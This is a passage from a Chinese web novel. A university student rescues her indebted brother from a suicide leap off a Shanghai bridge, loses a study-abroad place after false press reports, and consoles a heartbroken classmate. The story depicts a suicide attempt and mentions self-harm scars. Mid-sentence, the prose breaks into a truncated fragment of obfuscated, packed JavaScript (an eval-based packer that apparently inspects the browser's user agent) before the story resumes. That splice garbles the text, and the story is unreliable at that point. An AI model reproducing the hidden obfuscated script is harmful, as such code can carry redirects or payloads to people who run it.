王心宜的声音再次变得颤抖,好几秒后,她无比坚定地,说出了那几个字: “我感觉他,好像快要死了。” 林羽翼紧闭的眼睛倏地睁开,她弯着腰,盯着出租车前座靠背,盯得眼睛发疼,她没有说话,一言不发地听着王心宜继续说。 “他不吃东西,也不喝水,不回房间来,一整天,就躺在天台上面发呆。说实话,我当时并没有把他的样子放在心上,这些年我和他都是这么不人不鬼地过着的,我早习惯了。一直到今早,我去天台上寻他,才突然发现,他人不见了!” “然后呢?”林羽翼捂着眼睛,紧着喉咙,终于出声。 “我找了他一天,没有找到,就去报警了,就在两小时前。”王心宜努力抑制着颤抖,“警察本来不愿意管,说是没到报警时间,可是好巧不巧,我离开警局的时候,他们正好接到另一起报案,说是有人要跳江!” “是我哥。”林羽翼接话接得斩钉截铁,没有一丝犹疑。 “是他。”王心宜哭泣的声音中,染上了一丝惨淡的笑意,“他现在正在江边,还没有跳下去,警察在一旁劝他,谁也不知道他究竟会不会跳。但我想,你最好尽快过来一趟,说不定——” 说不定,这就是和他见的最后一面了。 王心宜没有把这句话说出口。 她摇摇头,接着说:“就算这一次,警察把他救了下来,他现在这半死不活的样子,很快也会有下一次。所以我觉得,林羽翼,或许你得和他好好聊聊。只有你了,林羽翼,如果他还想活着的话,只有你了。” “好,我知道了。”林羽翼深呼吸着,忽然,她意识到什么,“心宜姐,你在哪儿?你现在,在哪儿?” “江边。”王心宜笑着说。 朦朦胧胧的夜色下。 被浓雾掩盖的跨江大桥上,一盏盏夜灯向四周晕染出层层模糊的光晕,向远处延升出一条被雾气吞噬的光之路。 桥中央的栏杆外,站着一个人。 一个失魂落魄的男人。 桥下的岸边,王心宜双手举着手机,用尽全身力气,才让它能够贴在耳边。她努力让瘦削的身躯维持着站立姿态,抬眸望向不远处灯火朦胧的大桥,眼泪无声无息地沿着苍白脸颊滑落。 …… 从广都到沪城要多久? 林羽翼第一次去沪城,是坐火车,花了整整两天时间。 而这一次,她从广都城出发,到机场,再到沪城,最后到王登高“跳江”的位置,竟然不到四个小时。 短短四小时。 林羽翼第一次知道,原来广都和沪城的距离,竟然能这么近。 她曾经以为天南地北的两个地方,竟然能这么近。 这么近啊。 …… 林羽翼抵达桥边时,天色才蒙蒙亮。 路灯已经熄了,晨雾还没有散去。 桥上围了很多人。 林羽翼一步一步,踉踉跄跄,却又无比坚定地撞开人群,向人群最里面走去。王登高还站在那里,站在大桥的栏杆外。 他垂头丧气地站在那里,身姿依旧高大,却再没有林羽翼记忆中的魁梧,反倒是…… 骨瘦如柴。 灵魂、肉丨体,都一并瘦得来看不见。 林羽翼越走越近,把王登高的模样看得越来越清楚,她的眼眶里一点点积满了眼泪。视线变得模糊,王登高的身影仿佛真的变成了一个摇摇晃晃的影子,一个随时可能被风吹散的,模糊的影子。 “哥……”林羽翼一步步走到王登高身边,沙哑着出声,向他伸出一只手,“回来吧,不要——” 她的“跳”字还没说出口。 王登高听到她的声音,失了力的身体骤然紧绷,错愕地睁大眼,无神的目光骤然聚焦,直直向她瞪来。 王登高看到了她,王登高看清了她,王登高的喉咙动了动,王登高一个音节都没有发出来。 没有任何预兆,他决然无比地转身,径直跃向江面。 ——王登高在桥边站了一夜,一直到早上都还没有跳下去,应该是不会跳了吧。 所有人都是这么想的,林羽翼也是这么想的。 于是所有人都没有想到,他会在这时跳下去。 “王登高!” 脑袋里有什么轰然炸开,电光石火间,林羽翼自己都没看清发生了什么,身体完全出于本能地向前跃去,犹如草原上最矫健的猎豹,又像是一支离弦之箭,她还没反应过来,整个人便已经跃到栏杆边,死死地握住王登高的手。 下一秒。 巨大的拉力几乎让她腾空而起,摔过栅栏,她瘦弱的的身体在薄雾缭绕的晨色间划出一条轨道,如转瞬即逝的流星轨道。 在桥上众人惊恐的呼声中,林羽翼和王登高齐齐跌向江面。 然后,落在了柔软的、巨大的救援气垫床上。 嘭一声。 也或许根本没有声音。 林羽翼不知道。 她跌落在气垫床上,近乎茫然地睁眼看着无穷远处茫茫亮的天空,看着稀薄飘忽的云层,她以为自己已经死了。下一刻,救援人员的呼喊声将她惊醒,林羽翼随即听到了更多的声音,江水涛涛声,人群惊呼声,还有桥上不知哪儿来的新闻媒体的摄像头咔咔声。 她感觉到了痛,不是摔痛的,而是刚才下落的一瞬间,血液流速过快,在身体深处留下的隐痛。 随即她意识到发生了什么,愤怒的情绪骤然上涌,她想要起身,想要狠狠给旁边的王登高一巴掌,可是要在气垫床上动作没那么容易,她才勉强支起身子,就立马被涌来的救援人员扶住,带往岸边。 “林羽翼!” 林羽翼刚到岸边,王心宜第一时间飞奔而来,全身颤抖着将她揽在怀里:“你没事吧?没事吧……?” “我没事。”林羽翼摇摇头,目光淡漠地看向同样被救上岸的王登高。 他无神地瘫坐在一旁,双腿直直搭在地面,脊背往下耷拉着,脑袋埋着,连一头流浪汉似的乱糟糟的头发丝也失去了灵魂似的耷在头皮儿上。 王登高这样,像是一头失心疯的大狗熊,像是一个丢了魂儿的怪物,就是不像个人。 林羽翼轻轻推开王心宜的怀抱,她一步步无比坚定地走到王登高面前,蹲下,抬头看着他的脸,然后,用尽全身力气,抬起手臂朝他脸上扇去。 “邦。” 无比结实的一巴掌。 把王登高扇得坐都没坐稳,一下子狼狈地拿手扶着地。他的脑袋埋得更深,躲避似的,不敢面对她的目光。 “王登高!你倒是看看我啊!”林羽翼揉着发麻的手掌,从喉咙里嘶吼出的声音几乎带着笑,“你倒是和我说说,到底怎么一回事儿啊!” “以前,你一声不吭地把我丢下,想和我断绝关系。现在直接不想再见我,想去死了是吧!”一字一字,从她嗓子眼儿里蹦出来,似泣似笑。 王登高不说话,林羽翼便抹着泪,放声癫狂笑着,替他说:“怎么突然不想活了?知道我要出国,觉得我出息了,所以觉得自己可以放心走了是吧!怕拖累我?还是觉得你这个哥哥当得不配,愧疚了?王登高,你是不是傻!” “你能拖累我?你觉得我还不起债?”林羽翼抡起一拳,死死砸在他脑袋上,只可惜她力气用得七七八八,这会儿再打他,跟挠痒痒似的,“你**知道我以后能挣多少钱吗?我告诉你,我们院里上一个公派留学回来的学姐,一回国就和学校签了十年的留校合同,年薪三十万!就算你能欠三五百万,对我来说,还钱也不过是十来年的事儿!” “三五百万,你欠得到那么多吗?你现在欠的钱有一百万吗?你怎么就想死了,怎么就想死了啊!” 林羽翼一拳一拳,接连不断砸在他头上,最后她自己都砸累了,一屁股坐在旁边大喘气。 王登高始终一言不发,石头似的枯坐在原地。林羽翼看不见他的表情,她累了,也懒得再看他,懒得再骂他。 坐了一会儿,等到起伏的胸膛稍稍平静下来,她站起身,居高临下看着王登高,看着自己眼中曾经那么高大魁梧、几乎能撑住一片天的哥哥,她默默看了一会儿,淡漠出声: “王登高,我只是想告诉你,我长大了,我有为你买单的能力了。只要你不做得太过分,不沾黄赌毒,不再寻死觅活,我都能买单。” “但你要是去沾那些玩意儿,或者你下次再去寻死,我就不会再管你了——我压根也管不了,不是吗?王登高,你自己好好想想吧。你是要这么过下去,活成一个不人不鬼的废物,还是站起来,好歹有个人样。” “你自己好好想吧。” 林羽翼说完,疲惫地转身,她这时才发现自己有多累,脚下差点没站稳,踉跄两步被王心宜扶住,整个人立马软软瘫在了王心宜怀里,眼前一阵天旋地转。 再醒来时,她已经躺在棚屋的小床上。 棚屋还是几年前那个棚屋,只不过拓宽了一点儿,摆上了两张木板床,还有不知道从哪儿捡来的桌子。屋里收拾得也要干净一些,好歹能让人有落脚的地方。 “醒啦?身体有不舒服的地方吗?来喝口水。”王心宜立刻端来一杯水。 林羽翼揉揉眼睛,抿一口水,环视整个小棚屋,没有看见王登高的身影。王心宜解释道:“你哥在外面天台上,没事儿,你别管他,让他一个人慢慢想去吧。” “嗯。”林羽翼双腿蜷缩,搁在身前,双手捧着水碗,低声说,“他如果再寻死,我也管不住他。” 王心宜叹了口气。 林羽翼一口喝完碗里的水,起身往棚屋外走,在走廊上靠着栏杆吹吹风。棚屋对面同样是低矮的棚屋,破烂的屋檐遮盖了视线,只能通过房屋缝隙,隐约看见远处的高楼。 王心宜站在林羽翼身侧,她的目光投向另一侧,没有看棚屋街景,而是在看天台的方向。尽管王心宜只看得见堆叠的破烂杂物,但她知道,王登高就在这堆杂物后面,他就坐在那里。她在看王登高。 林羽翼顺着王心宜的目光看过去,沉默片刻,她轻声问: “心宜姐,你和我哥在谈恋爱吗?” 三年前第一次到沪城时,林羽翼问过类似的问题,那时她问,王心宜和王登高是什么关系,却被王心宜戏谑一句“难不成是男女朋友”的反问逼了回来。 三年后的现在,林羽翼又一次询问,依旧没有得到答案。 王心宜沉默着,没有回答她的问题,反倒从裤兜里掏出一根烟,熟稔地用打火机点烟,叼在嘴边抽了一口,吐出一个规整的烟圈。 王心宜只抽了一口,觉得没趣儿似的把烟头搭在一旁,她转个身,望向棚屋缝隙里的高楼大厦发呆。 王心宜说:“我只知道,如果你哥死了,我自己一个人,估摸着也不太活得下去了吧。” 她用手懒散撑着下巴,衬衫袖口往下滑落。林羽翼注意到,她手臂上那一条条骇人的疤痕已经很浅、很浅了,浅到就快看不出来。而且,似乎已经很长时间没有过新伤了。 原本就白嫩的手臂在阳光下,显得异常苍白病态。 林羽翼伸手,握住王心宜纤细的手腕,握得很紧,她认真说:“心宜姐,你要好好活着,快快乐乐、开开心心地活着。” 王心宜睫毛轻轻颤了颤,她唇角浅浅地往上勾起:“我努力。” …… 林羽翼没有在沪城呆多久,当晚就坐上回蜀都的绿皮火车。她觉得,或许她早早离开沪城,离开她哥的视野范围,她哥反而能早早想通一些。 一想到她哥在桥上一看见她,就条件反射往下跳的那一幕,她就气得想笑。 王登高啊王登高,小时候怎么没看出你是个这么懦弱可怜的人儿呢? 火车上的时间很难熬。 林羽翼出门时走得急,手机充电器没带,登不了Q丨Q,听不了音乐,身上又一本书没带,只能望着窗外发呆熬时间。 熬过了一天的路途,还有第二天。林羽翼实在无聊得受不了,干脆在商贩那儿买了份报纸,随手翻看着消磨时间。 谁知道,她竟然在报纸上看到了自己—— 【花季少女为情所困,竟与男友双双跳江!】 【年轻男女跳江寻死,竟是为情所困!】 【情侣跳江殉情,只因家里不同意他们的爱情,真相果真如此?】 “噗——!”林羽翼看得一口水喷出来,她看着这一行行骇人的标题,再看看报纸上的照片,再三确认图片上是王登高跳江的那座桥,图片上一跃而下的两人的确是她和王登高,可、可新闻内容却和他俩八竿子打不着啊! 什么殉情?什么为爱跳江?现在这些新闻媒体太不负责了吧,怎么就知道瞎写! 林羽翼不禁想起师涟向她吐槽过,她们学新闻的,就得讲究个真实可靠——就算站在不同的角度报导一件事,难免会为观众带来不同的观感,但总体也不能春秋笔法偏离事实。可随着网络的发展,越来越多的媒体人只顾吸引眼球,只知道胡编乱造,把事实抛到一边。 这可真是…… 林羽翼无奈地摇摇头,她以前跟着师涟一块儿骂那些无良媒体人的时候,从来没有想过,自己也会成为受害者之一。 还好,这几篇报导里,既没有清晰的照片,也没有透露林羽翼的真实姓名,充其量就是个八卦小故事,林羽翼笑笑就过了,并没有把这事儿放心上。 回到蜀都后,林羽翼先回了一趟村里,把手机充上电,把行李收拾好,这才坐大巴回学校。 坐上大巴,林羽翼打开手机,竟然看到好几通未接来电,不同号码打来的,归属地都是川城。 是孙阿姨打来的?还是师涟?毕竟,林羽翼在拿到手机号的那天,除了给学校那边负责出国交流的老师发了条消息告知外,就只告诉了孙阿姨、师涟二人。应该是她们没打通她的电话,所以担心地换着号码打吧。 林羽翼立刻给师涟回了电话,她没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她刚回到宿舍,就被几个室友焦急地包围住,五双眼睛死死盯在她身上,嘴巴叽里呱啦地问:“林羽翼,你、你到底怎么回事儿!” “你真的为了男朋友殉情啊?不对,你哪儿来的男朋友!你你你,你搞网恋呢?” “你知不知道,这两天院里宇书记一直在联系你,一直在找你!学生会的人说,宇书记看到你殉情的消息时,整张脸都黑了,他们说,从来没看见宇书记那么生气过!” 林羽翼皱着眉头,听得越来越茫然:“这种鬼话,怎么你们都信了?” “怎么不信!”室友拔高音量,“我们都看到你跳桥的照片了!宇书记还叫我们去办公室指认那是不是你呢!” “啊——?你们真误会了,跳桥的那是、那是我……我、我亲戚!我想去拉他,没曾想被他带着摔下了桥!”林羽翼听得越来越不对劲儿,“在你们指认之前,宇书记怎么会觉得照片里的人是我?你们认识我,能看出我的照片就算了,宇书记怎么也认识我?” 她看过网上、报纸上的那些照片,都拍得不太清晰,除了特别熟悉她的人,应该没人认得出是她才对呀。 更何况,林羽翼压根没见过院里的这位书记,她整日闷头学习,要不在图书馆,要不在机房,和自家任课老师都不熟,更别说院里专搞学生工作的书记。 “我们也不清楚,好像是学生会里有人告诉他的吧——诶!那个,那个岳程成,岳帅哥不就是学生会副会长吗?”室友一拍手,想起来了。 “岳程成?”林羽翼不明所以地摆摆手。 “是呀,他不是明摆着喜欢你吗?或许是他看见你跳江的消息,害怕你出事儿,所以第一时间上报了学校,希望学校能尽快联系到你。”室友思考道。 “肯定是岳程成!”另一个室友猛地一拍手,“我听说他当场在团委办公室里哭出来了呢!一个大男人,哭得可伤心了。” “这几天院里都传遍了!说你得了抑郁症,为了和男朋友私奔连学都不上了!唉,林羽翼,要不是你告诉我们,连我们都信了!” “唉总之,林小鸟你安全回来了就好,快去和班主任、辅导员说一声吧,免得她们继续担心。” “行,我这就去。”林羽翼赶到班主任所在的实验楼时,天色已经很晚了,实验室里依旧灯火通明,楼道里回荡着机器运转的“嗡嗡”声。 办公室里没有人,旁边几间实验室的门紧闭着,只有门缝里有光透出来,林羽翼敲了敲,没人回应。她站在走廊上等了十来分钟,没等到人,才拧开实验室门。 实验桌的区域没什么人,但最里边的无菌区却挤满了穿着严实实验服的实验员,林羽翼不敢去打扰他们做实验,自己抱着书本,安静坐到实验桌上埋头看书。 她等了很久,直到天色完全变暗,深夜降临,无菌区的忙碌才告一段落。 班主任老师脱掉白大褂和手套,迈着大步哒哒哒走过林羽翼身旁,微微低头看她一眼,语气诧异:“林羽翼,你回来了?” “嗯,老师我回来了。”林羽翼收起书本,乖乖点头。 和高中的班主任不同,高中班主任杨老师几乎时刻陪在学生身边,可大学班主任却难得有时间和学生见面,林羽翼和这位班主任老师并不熟。 “行,回来了就行,好好回寝室休息休息,身体要紧。”班主任老师显然还要忙着做实验,没和林羽翼多说什么,急匆匆地走向另一个实验室。 ……做科研真辛苦啊。 林羽翼眨巴眼,看着老师匆匆而去的背影,不由得在心里感叹。 …… 就算回到了学校里,等待留学公示的日子依旧非常闲适,林羽翼晃晃悠悠地在学校里四处逛悠,把三年来没去过的角角落落,都去了个遍,拿着手机把看见的美景,通通拍了个遍,照片存到U盘里,再发到博客上。 林羽翼就这么闲适地等啊等,可以,原定的公示日一天天临近,她却依旧没有等到任何消息。 林羽翼心里莫名涌起一丝丝不安的感觉,她打电话询问过那位负责对接项目的老师,但老师也只是说: “再等等吧,等院里领导最后开完会,走完最后的流程。” “好的老师,我再等等。”林羽翼压住心里的不安,想来应该没有任何问题才对,资料她早早交给了学校,校方已经审核通过,就只差学院公示,应该不至于在最后一步出问题吧。 沪城那事儿,应该不会影响到她出国吧……? 应该,不会。 毕竟今年院里只有她一人获得了出国名额,没有谁能替代她。毕竟这几天里没有任何人来询问过她在沪城到底发生了什么,说明,沪城这事儿应该并没有多重要,吧? 林羽翼拿不准,她只能等。 等啊等啊等,林羽翼没有等来出国公示,却等来了开题会议。 她的心一下子凉了半截。 按理说,林羽翼要出国完成毕业实验,就不用在国内进行开题,可是辅导员下发的参会名单,却并没有将她排除在外。 …… 那天,林羽翼跟着室友一起前去会议室,参加了本专业开题会议,她坐在最后一排,听得心不在焉。 台上老师举着麦克风,讲话声音很大,音响声震个不停。 忽然,林羽翼包里的手机规律地震动起来。 她像是预感到什么似的,拿出手机,快步走出会议室,走向拐角的楼梯处。她走在昏暗的楼梯间,缓缓坐下,埋头看一眼屏幕上的号码,接通电话。 她认出了这串号码,这是她去沪城关机的那几天里,打给她的其中一个号码。 电话那头,传来一道听不出情绪的中年男声:“林羽翼同学,很遗憾通知你,经过我们与交换方学校核对,这次留欧公派留学项目,不接收动医专业的学生。” 电话挂断。 一句多余的话都没有。 没有解释,也没有抱歉,更没有给她解释什么的余地。 不接收动医专业的学生?那怎么一开始不说清楚?这么明显、这么拙劣的谎言,却说得这么平静,这么…… 这么理所当然。 就如林羽翼此刻的心情。 她坐在楼梯上,抬眸看着昏暗无光的楼梯拐角,听着不远处会议室里音响的回声,脸上没有一丝表情,心里没有一点儿波澜。 这通来电可真是,意料之外,却又一点儿不意外。 林羽翼脑袋里像是在倒带一般,一点点倒序回忆着这些天的经历,她的记忆一点点往前播放,最后停留在了去沪城的那一天。 她想起自己和王登高说的那些话。 她说,等她留学归来,她三五年就能还清他的欠款。 她说,她能够为他的任性、为他的错误买单。 她说,她长大了,她能够左右她与他,他们两兄妹的未来。 现在想来,一句一句,皆是讽刺。 她那时吐出的狂言,穿越几天时空,变成了一把把尖利的刀,刺向现在的她。 直刺心底。 她感觉到心脏一阵一阵的痛,从刺痛,变成绞痛。 林羽翼捂着心脏,安静坐了许久,忽的胸膛一阵起伏,她大声地笑了出来,明明是在笑,眼泪却不受控制地沿着脸颊滑落。 是啊,她早该知道,怎么会有天上掉馅饼的好事儿呢?怎么会有呢! 怎么会有呢——! 45.第30章 林羽翼抱着膝盖,仰头盯着楼梯间陈旧的天花板,视线一点点被泪水模糊,看不清吊顶的纹路,她缓慢收回视线,摁亮手机屏幕,点开和师涟的短信对话框。 她一个键一个键缓慢无比地摁下去:[师涟,我出不了国了。] [因为我哥的事儿。] 她的手指悬停在发送键上,悬了许久,最后没有摁下去,转而摁了删除。她看着屏幕上一片空白,终于忍不住声音,抽噎着哭喊出声。 埋头痛哭时,手指不小心触到屏幕,发送一个句号给师涟。 手机震了一下,是师涟的回复信息:[怎么了?] 林羽翼埋着头哭,没有看屏幕。几秒后,手机规律地震动起来,她终于看了眼,是师涟打来的电话,她摁下接通键。 “林羽翼,怎么忽然给我发消息?怎么啦?”师涟的声音很轻,很柔。 “师涟……”林羽翼刚刚出声,便发现自己喉头一阵阵剧烈痉挛般的哽咽,除了委屈痛苦到极致的哭声,再发不出一个音节,她猛地咬住唇,用力挂断电话。 师涟立刻又打了过来。 这回,林羽翼把手机放在身侧的台阶上,她埋着头大哭,没有力气再去接电话。 手机不知震了多久。 直到没电,震动声才随着屏幕光亮一起消失。 天已经黑了,原本就昏暗的会议楼楼道里,几乎伸手不见五指。开题会议早已结束,空荡荡的大楼里,什么声音都不剩。 只有林羽翼断断续续的抽噎声。 到最后,嗓子没了力气,抽噎变成了羸弱的气音。 再后来,气音都不剩。 林羽翼扶着栏杆起身,往前走时,她灵魂都已经出了窍似的,自己感觉不到身体的任何动作,走路抬脚时,连重量似乎都感觉不到。 整个人像个幽魂似的,飘飘忽忽地向前走啊走,不知要走向哪里。 走过无人的松林小道,走过洒满路灯的银杏大道,走过一片片试验田,走过实验楼边的小树林,身体已经疲惫到极致,可她依旧没有停下来的想法。 大脑里什么都没有想,只有一片混沌的虚无。 恍恍惚惚间,林羽翼觉得,自己大概明白王登高在鸭场倒闭后,是什么样的心态了。她能够理解王登高了。 可是她不想再去想他。 她…… 她竟然觉得,有点恨他。 如果不是他创业失败欠了一屁股钱,一个人不负责地逃去沪城,她的大学生活便不会这么累这么苦。如果不是他,她便不用每日起早贪黑去学习、去兼职。 如果不是他突然发疯要跳桥自杀,她就不会被同学老师误会——或许根本没有误会,拥有一个老赖哥哥的学生,有资格公派留学吗? 如果不是他,她便不会像现在这样,拼命努力三年,却什么也没捞着。 她恨他。 她不想再想到他,不想再见到他,不想再听到他,再也不想。 此时此刻,林羽翼只想带着这具死去一般的躯壳,走向没有人涉足过的混沌远方。她一步步,漫无目的地,行尸走肉般地往前,慢慢走着,直到一声犹疑的、微弱的呼喊,将她出窍的灵魂拉回现实: “林、林羽翼?” 林羽翼抬头,对上一双同样泪眼朦胧、同样失魂落魄、同样可怜到极致的双眸。刘明弓着身子无力地坐在路边长椅上,红着一双眼睛,可怜兮兮地看着林羽翼,他咬了咬唇,微弱地问出声: “你……怎么了吗?” 路灯照耀下,少年脸上的泪渍反着脆弱的光。 “没什么。”鬼使神差的,或许是出于对这位高中同学的怜惜,又或许是别的什么原因,林羽翼灵魂归位,似乎没有那么疼了,她停下脚步,坐到刘明身侧,从包里拿出一张纸递给他,“擦擦吧。” “……谢谢。”刘明接过纸巾,安静擦起脸上的泪水。 两个人一左一右,坐在长椅两侧,盯着各自面前的路面发呆,一时间谁也没有说话。 林羽翼没有再哭,她却听见刘明止不住地一直轻轻抽泣着,余光瞥去,少年的脊背上下颤抖得厉害。 林羽翼撑着下巴,叹口气,尽量放轻声音问:“倒是你,发生什么了?和我说说?倾述倾述吧,男孩子家家的,总这么哭下去,也不是个事儿啊,我可不会安慰人。” “我……”刘明抹了把泪,“我和申树分手了。” 感情问题啊。 林羽翼面无表情地再递一张纸给他。 她没有为谁心动过的经历,没有过喜欢的人,更没有谈过恋爱,所以她不明白,失恋这种事情,有必要哭得要死要活吗? 然而刘明接下来的话,却让她表情一下子凝固,眉头皱起。 刘明哽咽着说:“她……她劈腿了,和一个染着黄毛的职高小混混。我、我不明白……我不明白我差哪儿了。” 申树劈腿?申树竟然会劈腿——?林羽翼脑海里回想起那个气质温婉的少女的脸颊,眉头越皱越紧。 在她的印象中,申树是个永远保持着温柔礼貌,永远细声细气与人说话,永远随和热心,是一个腹有诗书,气质婉丽,既有大家闺秀的气质,又如清纯无害小白花一般的女孩。 在她的认知中,申树绝不是那种会随意辜负他人感情的渣女。 电光石火间,一段早已被遗忘的记忆,忽然从林羽翼脑海里闪过,她想起许多年前,张潇扬曾毫不掩饰厌恶地对她说过这样一句话: [懒得和你多说,反正你也不会在她身上吃亏,被她骗到也无所谓。只有那些纯情小男生,才会在她身上吃大亏。] 刘明可不就是张潇扬口中的纯情小男生吗? 张潇扬她,她看人这么准吗?林羽翼紧紧皱着眉头,聆听刘明接下来的述说。 这是一段很老套的校园爱情故事。 高中时的刘明并不喜欢申树,那时的他情窦未开,生活中所有的苦恼,都只来源于学习和社交这两件事。 他是个很内向的人,他不喜欢——或者说他很害怕与人交流。好在,高中班上同学都很好,组里有林羽翼事事照顾着他,组外同学也都让着他,他度过了一个还算愉快的高中时代。 大学不一样了。 陌生的校园环境,陌生的寝室,陌生的同学老师,他必须鼓起勇气,自己去摸索,去和人交朋友。 刘明其实是一个很聪明的人,他只是害怕和人交朋友,并不是不会和人交朋友,于是,他很轻易地交到了新朋友。 他加入了学校的消防社团,白天空余时间跟随着老师一块儿做活动,晚上便和社团里的小伙伴一块儿玩闹,在学校里四处闲逛,或者去美食街约饭,甚至喝酒。 大学的课业并不困难,刘明不再为学习而苦恼。 当他有了新朋友,整日和朋友们一起玩闹,不再需要为社交而苦恼时,便自然而然地有了新的需求。 他想谈恋爱了。 少年心底的悸动,始于一场酒后的大冒险,那时是凌晨三点,他和朋友们喝得烂醉,其他人纷纷起哄,要他给随便一位高中女生打电话。 能给谁打呢?这年头能买得起手机的人不多,高中毕业时,班上只有零散几人有手机,交换了联系方式,其中便有申树。 或许是酒精上头,刘明的这一通电话,打给了申树。 凌晨三点过,他本来不指望申树能够接电话,谁知道,她竟然接了。刘明大脑被酒精搅得一片混沌,他不记得自己和申树说了些什么,但他迷迷糊糊地说了好些话,或许是怀念高中,或许是八卦大学生活,他只记得,申树一直在温柔地听他说话。 这是刘明第一次和别人说这么多话,也是他第一次,被人认认真真地倾听这么久。 第二天酒醒,回想起夜间的那通电话,刘明清晰地感觉到了心动。 他就是这样喜欢上了申树。 刘明并不是一个优柔寡断的人,在意识到自己对申树的喜欢后,他毫不犹豫对申树展开了猛烈的追求。 送礼物,每周末去申树学校见她,约着申树一起出门旅游,就这样几个月过去,申树答应了他的追求,成为他的女朋友。 “那段记忆本该是非常美好的,可是,可是……”刘明说着说着,苍白的手指捏得越来越紧,又无力地松开,“无论是送礼物,还是去学校见她,或者是出门旅游,她、她从来没有拒绝过我,可是,可是我在这几天里——和她分手后的这几天才突然知道,在我追求她的时候,她有男朋友,她从来没有告诉过我。” 林羽翼沉默。 申树接受刘明的追求,和刘明在一起,是第一次劈腿。而她背着刘明,和另一个男孩在一起,是第二次劈腿。 刘明还说了很多很多,原来申树的家庭情况并没有看上去那么美好,申父创业失败,欠了百万外债,而申妈患上了精神疾病,时而郁郁寡欢,时而癫狂起舞,申家全家的担子,全押在了申树身上。 于是,为了能让申树过得好一些,刘明透支着身体没日没夜打零工。申树说没有衣服穿了,刘明便给她买衣服买包包;申树说自己不好看了,刘明便连夜跑进蜀都城,为她选大牌口红、化妆品;申树说寝室里学习氛围不好,没法好好考研,刘明便出钱让她在校外租房住。 申树无聊,刘明便攒钱带她到全国各地旅游。申树课业太累,刘明便自学编程帮她写作业、做报告——申树学的是数学,但大二开始,她便加入了一位计算机专业导师的实验组。 谈恋爱两年时间,刘明把自己能拿得出的一切,都拿给了申树。 “我以为我们能一直走下去,一直……一直到结婚,我很爱她,我以为她也很爱我。”刘明双手紧紧抓着脑袋上的头发,有气无力地继续说,“今年年初,她突然告诉我,她要开始专心准备考研,让我不要再去她学校找她。我乖乖地没有再去她学校,可是上周末,我在广都车站赶车回学校的时候却、却看见……她和一个陌生男人在、在……” 刘明说不下去了。 林羽翼叹气,轻轻拍了拍他的脊背,又递了张纸给他。 “这一周时间里,我打听到那个男生是个职高生,是个职高小混混,我、我不明白,不明白自己和他比起来到底差在了哪儿……我知道我比较内向,比较胆小,可我一直在改,我已经比高中时好很多了。”刘明说到激动时,双手揪紧了头发,想要硬生生把发根从头皮上扯下来似的,“我不知道自己哪儿做错了,我不知道。” 林羽翼看见他手背上条条暴起的青筋,似乎能切实地感受到他的痛苦。难以想象,他这一周里都经历了什么,他是怎样知道那小混混的信息的。 “不是你的问题,刘明,是申树的问题。”林羽翼轻轻呵气,她不懂爱情,但是她懂得,无论是什么感情,只要双方都是将心比心的正常人,真心付出都会被真心对待,刘明付出了真心,申树却将这颗心踩得稀巴烂,那么只能证明,申树她不正常。 “刘明,不是你差,是申树她不值得你的好。”这是很显而易见的道理。 她语气淡淡的,又似安慰,又似诱导,一点点讲给刘明听:“如果你有一点儿问题,那么只在你的眼光上,你看错了人,你误以为申树值得你的好。不要难过,这不是什么大问题,我也看错了人不是吗?在你告诉我这些话之前,我从来不认为申树会劈腿。是她,她掩藏得太好了。” “刘明,你现在能看清她的真面目,也挺好的不是吗?至少以后,你再也不会再她身上栽跟头了——喂,刘明,你可千万别想着和她复合啊!她吃你的用你的整整两年,说劈腿就劈腿,你要还想着喜欢她,可就太、太傻了!” “我知道。”刘明小声醒着鼻涕,声音沉闷,“我不、不会了。我只是难过。” “那就多哭会儿吧,你放心哭,我不会告诉任何人。” 林羽翼说完,撑着下巴,目光黯淡盯着不远处的小树林,眼底情绪越来越沉。 刘明的感情问题可以很轻易地分出对错,可以很轻易地找到解决方法,找到答案。可是她遇到的问题,却怎样也说不清。 她做错了吗?她没有。她不过是去了一趟沪城,见了一面跳江的亲哥哥而已。 学院领导们做错了吗?也没有。无论是“花季少女重度抑郁症,奔赴千里为爱殉情”这样狗血的故事,还是事实真相——林羽翼有个精神状态极不稳定的老赖亲哥,对他们而言,都不是什么好消息。林羽翼就像个随时可能炸开的定时炸弹,他们敢让她公派出国吗?敢让她代表学院代表学校,拿着高额奖学金前去欧洲留学吗?他们不敢。他们不过是为学校的声誉着想。 唯一做错了的,是王登高。不,不只是他,还有那些散播消息的无良媒体,那些看热闹的网民。 可是他们的错误,却要林羽翼一个人来买单。 林羽翼不明白。 她怎么也想不明白。 想不明白,什么也做不了,什么也改变不了。 “刘明……”林羽翼长长地叹了口气,像是要把肺里的空气全部吐出来,她能清晰感觉到肋骨收缩,紧紧贴着胸腔,她苦笑着,轻声说,“和生活的苦比起来,爱情这东西,什么都不算,真的什么也不算。” 刘明没有回答她。 林羽翼等了片刻,余光瞟向椅子的另一头,发现他脑袋耷拉着,脊背靠着椅背,不知什么时候睡着了。 “没听到呢?”林羽翼自嘲笑着摇摇头,“没听到就没听到吧,反正我不懂爱情是什么,我压根没谈过恋爱呢,我说的这些话,也没什么参考价值吧。” 刘明睡着了,林羽翼在椅子在另一头坐着,脑袋里乱成一团麻,时不时揪痛一下,伴随着缓缓上涌的困意,不知何时昏昏沉沉闭上了眼。 …… 睡在长椅上的一晚很不舒服。 金属材质的靠椅硌得林羽翼浑身疼,整夜的凉风吹得她皮肤发麻,身上起了阵阵鸡皮疙瘩,到最后似乎连温度都察觉不到。 可是她却好像没有了睁眼的想法,脑袋睡得很昏、很沉,明明难受到了极致,却晕乎乎的,没有一点儿起床的欲望。 她好像做了一个又一个奇怪的梦。 她竟然梦到了师涟,梦到师涟出现在了树林小路的入口处,一步步离她越来越近。梦到师涟站在长椅边,弯腰和一旁的刘明说了什么话。 说了什么呢?她没听清。 反正是梦嘛,说什么也无所谓。 她软绵绵地倒进师涟怀里,沉沉地埋在师涟肩头,呼吸间尽是无比熟悉又安心的清甜气息,她好像迷糊了一夜,在这时才真正地深沉睡去。 紧接着,林羽翼一点儿梦都没有继续做,她只感觉自己躺在一个柔软黑暗、却又无比温暖的巢穴里,无比安心,像是来到了从未感受过的母亲的怀抱里,她睡得很沉很沉。 “咕,咕咕。” 